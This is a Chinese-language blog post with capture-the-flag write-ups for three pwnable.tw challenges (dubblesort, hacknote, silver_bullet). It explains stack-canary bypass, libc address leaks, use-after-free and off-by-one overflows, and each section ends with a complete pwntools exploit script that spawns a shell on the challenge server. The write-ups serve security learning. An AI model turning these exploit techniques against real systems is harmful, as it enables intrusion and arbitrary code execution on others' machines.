关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
pwnable.tw[4-6]
无
361
0
0
mut3p1g
## dubblesort 题目流程大概是这样,首先输入一个name,然后打印出来,然后让你输入一个n表示准备输入n个数,然后再将n个数输入,接着用冒泡排序把这n个数排序后打印出来。 然后看一下保护措施,发现全开..那就只能用类似ROP的方法来调用system来getshell了吧 然后看一下有没有可以溢出到ret的地方,发现存数据的数组是有大小限制的,但是n却没有限制 ``` int NumArray; // [sp+1Ch] [bp-70h]@2 ``` 所以这里应该是可以实现溢出的,不过首先要获得金丝雀的值否则就没法溢出到后面了,然后就是怎么构造一个顺序的payload ### LEAK 首先看一下金丝雀存的地方 ``` int v12; // [sp+7Ch] [bp-10h]@1 v12 = *MK_FP(__GS__, 20); ``` 然后发现name也是存在栈上的,由于可以不出现\x00而将栈上的数据打印出来,而且正好读的够长能够把canary给泄露出来 ``` int name; // [sp+3Ch] [bp-50h]@1 read(0, &name, 0x40u); ``` 所以输入0x40个padding后就能泄露canary了,然而发现canary肯定是以\x00开头的,于是没办法打印,但是发现这里是用`scanf("%u")`读入的数据,那么只要输入+或者-号则不会将数据写入,从而绕过canary。 然后查看还能不能泄露什么有用的东西,通过将我们可以泄露范围的所以数据打印出来,然后查看数据所在段可以发现存在libc上地址的泄露 ![](https://leanote.com/api/file/getImage?fileId=590acce4ab64414416007f83) 接着通过差值就能得到libc的基地址了 ![](https://leanote.com/api/file/getImage?fileId=590aca28ab64414416007f30) 那么泄露的实现的话就是先输入25个字符,这里要注意两点一个是回车也占一个字符,一个是为啥要多输入一个呢?原因和之前泄露canary一样它第一个字符是00所以得把这个给覆盖了才行。 ### STACK 获得了`system`和`/bin/sh`的地址,那么就是跳转过去就行了 然后看一下要写多少位才行,溢出就是我们输入的数值数组,是int类型,所以要`0x70/4=28`就能达到ebp,需要`0x60/4=24`达到canary。 ``` int NumArray; // [sp+1Ch] [bp-70h]@2 int v12; // [sp+7Ch] [bp-10h]@1 ``` 还要注意的就是main函数最后返回的时候,连续pop了四次,所以还得再padding ``` .text:00000B13 pop ebx .text:00000B14 pop esi .text:00000B15 pop edi .text:00000B16 pop ebp .text:00000B17 retn ``` 然后看一下构造的栈结构 ``` +========+ padding1 * 24 +========+ + -> bypass canary +========+ padding2 * 6(差的仨和多pop的仨) +========+ ebp padding2 +========+ ret system_addr +========+ binsh_addr 注意padding1是得小于canary,padding2得大于canary且小于system_addr所以为了方便就用system_addr,所以最后要给8个system_addr ``` ### EXP 这里由于给了libc,本地测试的话可能libc是不一样的,可以通过设置环境变量将libc设置为题目所给的 ``` export LD_PRELOAD="/home/mutepig/libc_32.so.6" ``` 然后就是要注意最后要写俩`binsh_addr`,第一个应该是返回地址,第二个是`binsh_addr` ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys #context.log_level = "debug" def Send(data): p.recvuntil(":") p.sendline(str(data)) if __name__ == "__main__": if len(sys.argv)==1: # local p = process("./dubblesort") else: p = remote('chall.pwnable.tw', 10101) libc = ELF('./libc_32.so.6') offset = 0x1b0000 # gdb.attach(proc.pidof(p)[0]) Send("A"*0x18) p.recvuntil("\n") ret = u32("\x00"+p.recv(3)) libc_addr = ret - offset system_addr = libc_addr+libc.symbols['system'] log.success("system_addr: " + hex(system_addr)) binsh_addr = libc_addr + next(libc.search("/bin/sh")) log.success("binsh_addr: " + hex(binsh_addr)) Send("35") for i in xrange(24): Send("1") Send("+") for i in xrange(8): Send(system_addr) Send(binsh_addr) Send(binsh_addr) p.interactive() ``` ## hacknote ## UAF 之前UAF就没学清楚,乘着做pwnable的机会赶紧来把这个学会了去XD 看到一个关于UAF的简单描述: 简单来说就是,一块内存空间被free之后,马上又malloc一块新的,那么这个新的内存起始地址和被free的内存起始地址是相同的,但是这里是有大小限制的,新分配内存大小小于或等于刚才被free的内存大小,那么被free的内存就会被优先分配。 然后就直接用这个思路做题吧,这样比较简单暴力XD ### ALL 是一个普通的note,有添加、删除、查看三个功能,下面一个一个分析一下 1. 添加 ``` if ( N <= 5 ) //不能超过5个note { for ( i = 0; i <= 4; ++i ) //添加的时候从头开始,找到第一个为空的加进去 { if ( !*(&ptr + i) ) { *(&ptr + i) = malloc(8u);//先申请8个字节用来记录打印的函数的地址以及要记录content的堆的地址 if ( !*(&ptr + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + i) = Puts; //这里第一个值为Puts函数,用来打印数据,就是说如果能修改这里则能调用任意函数 printf("Note size :"); read(0, &buf, 8u); size = atoi(&buf);//申请的大小没有限制 v0 = (int)*(&ptr + i); *(_DWORD *)(v0 + 4) = malloc(size); //又申请一个堆用来记录content if ( !*((_DWORD *)*(&ptr + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + i) + 1), size); puts("Success !"); ++N; return *MK_FP(__GS__, 20) ^ v5; } } } ``` 可以看到申请的部分还是存在一些问题,但是具体利用应该还是在删除这里 2. 删除 一般堆溢出问题都出在这里 ``` if ( *(&ptr + Index) ) { free(*((void **)*(&ptr + Index) + 1)); free(*(&ptr + Index)); puts("Success"); } ``` 这里将申请的俩堆都给free了。 3. 打印 这里就和上面说的一样,调用的是`*(&ptr + Index)`这里的函数。 ``` if ( *(&ptr + Index) ) (*(void (__cdecl **)(_DWORD))*(&ptr + Index))(*(&ptr + Index)); ``` ### HEAP 首先还是来分析一下申请后的堆的结构 ``` gdb-peda$ x /16x 0x804b008-8 0x804b000: 0x00000000 0x00000011(heap1 size) 0x0804862b(puts_addr) 0x0804b018(heap2_addr) 0x804b010: 0x00000000 0x00000019(heap2 size) 0x31313131(content) 0x0a313131 0x804b020: 0x00000000 0x00000000 0x00000000 0x00020fd9 ``` 可以看到每次都申请俩堆,第一个堆是用来记录打印那个函数和记录content的堆的地址的,而第二个堆就是用来记录content的。 ### LEAK 首先肯定还是得把地址给泄露了,这样才能获得system的地址。 这里想要用上UAF的思路,即malloc后free再malloc后会有俩变量共用一个空间。 想要泄露栈地址,则需要把数据写到能打印的地方,打印的代码是 ``` (*(void (__cdecl **)(_DWORD))*(&ptr + Index))(*(&ptr + Index)); ``` 所以我们需要把待打印的数据给写到`$ptr+Index`。 那么溢出的思路就是这样了: 1.添加两个note,大小要比16大(默认申请的第一个堆是8对齐后就变成16了),然后就会出现 16/32/16/32的四个堆 2.将两个note给删除掉,这样就会反着来free 3.申请一个大小为8的堆,这样会新建两个16的堆,在free的四个堆中会优先匹配大小相等的堆,于是note1的头会变成note2的头,而note0的头就会输入我们的content 4.打印note0,content写入的数据为自带的打印函数和我们要打印的数据地址譬如某函数got表,这样就成功泄露了 ### PWN 获得了`system`的地址,然后把note2删掉再来一次,然后把system放到note1的头里面去就能够调用system了,但是看一下执行的这行代码是这样的 ``` (*(void (__cdecl **)(_DWORD))*(&ptr + Index))(*(&ptr + Index)); ``` 调用的函数地址和参数地址是一样的,所以一定最后会出现类似这样的调用 ``` system(system_addr+other_input); ``` `system_addr`是没办法去掉了,但是我们还有`other_input`,这就相当于带前缀的命令执行,可以用执行多个命令来绕过,譬如说`;`或者`||`都可以 ### EXP ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys context.log_level = "debug" puts_addr = 0x0804862b def Send(data): p.recvuntil(":") p.sendline(str(data)) def Add(size,content): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(content) def Free(Index): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(Index)) def Show(Index): p.recvuntil(":") p.sendline("3") p.recvuntil("Index :") p.sendline(str(Index)) if __name__ == "__main__": if len(sys.argv)==1: # local p = process("./hacknote") else: p = remote('chall.pwnable.tw', 10102) #gdb.attach(proc.pidof(p)[0],"b *0x0804869a\nb *0x804872c\n") #+==================INIT===================================== libc = ELF('./libc_32.so.6') elf = ELF('./hacknote') libc_read_got = libc.symbols['read'] libc_system_got = libc.symbols['system'] read_got = elf.got['read'] #+==================INIT===================================== Add(24,"1"*23) Add(24,"2"*23) Free(0) Free(1) payload = p32(puts_addr) + p32(read_got) Add(8,payload) Show(0) read_addr = u32(p.recv(4)) base_addr = read_addr - libc_read_got system_addr = base_addr + libc_system_got log.success('system_addr: '+ hex(system_addr)) Free(2) payload = flat([system_addr,"||sh"]) Add(8,payload) Show(0); p.interactive() ``` ## silber bullet ### ALL 首先还是把题意给描述一下,大致是要创建一个银色子弹来打败狼人,有仨操作:创建子弹、给子弹充能、打狼人,下面一个一个分析一下 1.创建 ``` { char s; // [sp+8h] [bp-34h]@1 s就是子弹 printf("Give me your description of bullet :"); read_input(s, 0x30u); //输入描述 v2 = strlen(s); printf("Your power is : %u\n", v2); *((_DWORD *)s + 12) = v2; //*(s+12*4(=0x30))为能量值,即s后面读完0x30个后就是能量值 result = puts("Good luck !!"); } ``` 2.充能 ``` if ( *dest ) //dest为子弹 { if ( *((_DWORD *)dest + 12) > 0x2Fu ) /子弹能量>29则无法继续充能了 { result = puts("You can't power up any more !"); } else { printf("Give me your another description of bullet :"); read_input(&s, 0x30 - *((_DWORD *)dest + 12));//继续充能,读取 strncat(dest, &s, 0x30 - *((_DWORD *)dest + 12)); //把添加的描述追加到子弹后面 v3 = strlen(&s) + *((_DWORD *)dest + 12);//把两者的长度加起来 printf("Your new power is : %u\n", v3); *((_DWORD *)dest + 12) = v3; result = puts("Enjoy it !"); } } ``` 可以看到,子弹的长度即能量是紧跟着子弹描述的,然而我们可以往子弹那里添加东西,最后再加了一个\0,这样就将原来的长度改成了0,然后就可以再继续添加东西。 ### LEAK 由于开启了NX,所以还是只能通过ROP来搞事情,所以第一步还是泄露地址。 通过上面的分析可以确立LEAK的思路: 1.输入0x2f个字符,此时能量为0x2f没有超过限制 2.输入1个字符,由于添加了\x00将原能量值给覆盖变成了0,再加上该字符的长度限制能量值为1 3.可以再次输入近0x30个字符,从而构造ROP来LEAK 知道了怎么ROP,下面就是分析一下栈结构 ``` char s; // [sp+8h] [bp-34h]@1 +=========+ bp-0x34h 0x29(first input) +=========+ bp-0x5h 0x1 (seccond input) +=========+ bp-0x4h 0x1 (length) + padding*3 (third input from here) +=========+ bp padding * 4 +=========+ ret puts_plt +=========+ pop ret +=========+ read_got +=========+ main ``` 所以总的输入有3+4+4+4+4+4=23,没有超过限制。 ### BEAT 还需要注意的是,狼人是必须得杀死的,不然就没法正常返回就无法溢出了 ``` if ( beat((int)&s, (int)&v5) ) return 0; ``` 所还需要找到打败狼人的办法,看一下怎样才算打败了狼人 ``` *(_DWORD *)hp -= *(_DWORD *)(a1 + 0x30); if ( *(_DWORD *)hp <= 0 ) { puts("Oh ! You win !!"); result = 1; } ``` 然后看一下HP的声明 ``` int v5; // [sp+0h] [bp-3Ch]@1 v5 = 0x7FFFFFFF; ``` 发现是hp是int,而且稍微加一下就会爆成负数,所以我们只要将值变成负数就可以了。 ### EXP 这里pwntools读不了got和plt表,但是IDA可以看到 ![](https://leanote.com/api/file/getImage?fileId=590d15ebab64416a62002297) ![](https://leanote.com/api/file/getImage?fileId=590d15ebab64416a62002296) ``` #!/usr/bin/env python # encoding: utf-8 from pwn import * import sys context.log_level = "debug" def Create(content): p.recvuntil("choice :") p.sendline("1") p.recvuntil(":") p.sendline(content) def Add(content): p.recvuntil("choice :") p.sendline("2") p.recvuntil(":") p.sendline(content) def Beat(): p.recvuntil("choice :") p.sendline("3") def Exit(): p.recvuntil("choice :") p.sendline("4") if __name__ == "__main__": if len(sys.argv)==1: # local p = process("./silver_bullet") else: p = remote('chall.pwnable.tw', 10103) #gdb.attach(proc.pidof(p)[0],"b *0x0804869a\nb *0x08048475\n") #+==================INIT===================================== libc = ELF('libc_32.so.6') elf = ELF('silver_bullet') libc_read_got = libc.symbols['read'] libc_system_got = libc.symbols['system'] libc_binsh = next(libc.search("/bin/sh")) puts_plt = 0x80484a8 read_got = 0x0804afd0 main_addr = 0x08048954 pr = 0x08048475 #+==================INIT===================================== Create("1"*0x2f) Add("1") payload = flat([puts_plt,pr,read_got,main_addr]) Add("\xff"*7 + payload) Beat() p.recvuntil("win !!\n") read_addr = u32(p.recv(4)) base_addr = read_addr - libc_read_got system_addr = base_addr + libc_system_got binsh_addr = base_addr + libc_binsh log.success("system_addr:"+hex(system_addr)) Create("1"*0x2f) Add("1") payload = flat([system_addr,main_addr,binsh_addr]) Add("\xff"*7 + payload) Beat() p.interactive() ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.